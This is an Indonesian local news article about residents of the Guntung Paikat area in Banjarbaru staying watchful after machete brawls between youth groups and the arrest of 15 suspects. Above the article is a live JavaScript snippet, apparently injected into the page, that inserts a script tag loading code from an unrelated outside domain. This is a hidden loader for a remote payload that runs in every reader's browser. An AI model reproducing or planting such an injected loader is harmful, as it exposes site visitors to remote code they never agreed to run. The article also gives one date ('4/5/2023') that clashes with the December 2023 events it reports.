(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Warga RTH Guntung Paikat Waspada Aksi Susulan Tawuran Kelompok Remaja

KANALKALIMANTAN.COM, BANJARBARU – Warga kawasan RTH Guntung Paikat Jalan Simpang Rambai, Kecamatan Banjarbaru Selatan, waspada datangnya aksi susulan dari kelompok pemuda bersenjata tajam yang melakukan tawuran.

Sebelumnya kelompok remaja bersenjata tajam diamankan Satuan Reserse Kriminal (Satreskrim) Polres Banjarbaru, pada Rabu (6/12/2023) dini hari.

Polisi menyebut ada 3-4 kelompok pemuda yang disinyalir terlibat melakukan aksi saling serang.

Kawasan RTH Guntung Paikat Jalan Simpang Rambai, Kecamatan Banjarbaru Selatan yang menjadi lokasi aksi kelompok pemuda bersenjata tajam. Foto: wanda

Ketua Rukun Tetangga (RT) Sudarmin mengungkapkan situasi permukiman di kawasan RTH Guntung Paikat masih aman terkendali.

Ketua RT RW 3 Kelurahan Guntung Paikat ini mengatakan, warga masih beraktivitas seperti biasa di siang hari. Sementara di malam hari, sejumlah kegiatan dibatasi karena warga mulai waspada.

“Untuk penjagaan malam hari masih belum dilaksanakan, hanya saja setelah ada kejadian itu masyarakat menjadi lebih waspada, masih ada ketakutan sedikit,” ucap Sudarmin kepada Kanalkalimantan.com.

Selama ini, warga sekitar kawasan RTH Guntung Paikat belum menerapkan kegiatan seperti jaga malam.

Sebab Ketua RT mengungkapkan, lokasi kerawanan kenakalan remaja itu termasuk salah satu fasilitas umum, warga menjadi tidak leluasa dengan haknya mengatur para pengunjung di RTH tersebut.

“Karena fasilitas umum kita sebagai warga juga tidak nyaman menghalangi pengunjung yang memang ingin duduk di sana, namun kita tetap menjaga lingkungan sekitar,” sebut dia.

Sudarmin mengungkap sudah sepekan terakhir kelompok pemuda bukan dari Banjarbaru itu berulah di RTH Guntung Paikat dan kawasan sekitarnya.

Puncaknya terjadi pada Senin (4/5/2023) malam, dimana seorang remaja berusia 17 tahun mendapat luka bacok hingga dilarikan ke rumah sakit.

Sedangkan sebelum kejadian puncak itu, katanya, seorang remaja di seputaran masjid kawasan kolam renang Idaman ikut menjadi korban. Hanya saja remaja itu mendapati luka ringan dan tidak parah.

“Sebelum kejadian waktu itu, sepertinya juga ada yang sempat kena anak-anak RT di belakang kolam, informasinya mengalami luka, tapi tidak terlalu parah,” ungkapnya.

Ia mengungkapkan kejadian pada saat Senin malam sebelumnya itu terjadi sekitar pukul 23.20 Wita. Ia sedang tertidur kemudian terbangun kerena mendengar anak-anak warga kabur ke belakang rumah.

“Anak-anak di sini mereka sempat ke lokasi saat kejadian, tapi karena gak berani mereka lari, saya sempat bangun malam itu mendengar anak-anak kabur ke belakang,” jelas Sudarmin.

Dirinya pun kemudian bangun karena mendapati laporan langsung dari warga bahwa kelompok remaja tanggung itu memutari kawasan RTH.

“Ketika saya bangun ada yang japri katanya pak RT ada gengster lewat malam itu, pakai kendaraan beberapa orang, habis dari sini memutar kemana terus balik lagi ke sini,” sambung dia.

Usai kejadian itu, dalam kurun waktu 24 jam akhirnya petugas kepolisian dapat mengamankan 15 pemuda diduga anggota gengster itu.

Hingga saat ini Polres Banjarbaru masih melakukan pengembangan atas kasus tersebut untuk mencari dna menemukan pelaku lainnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie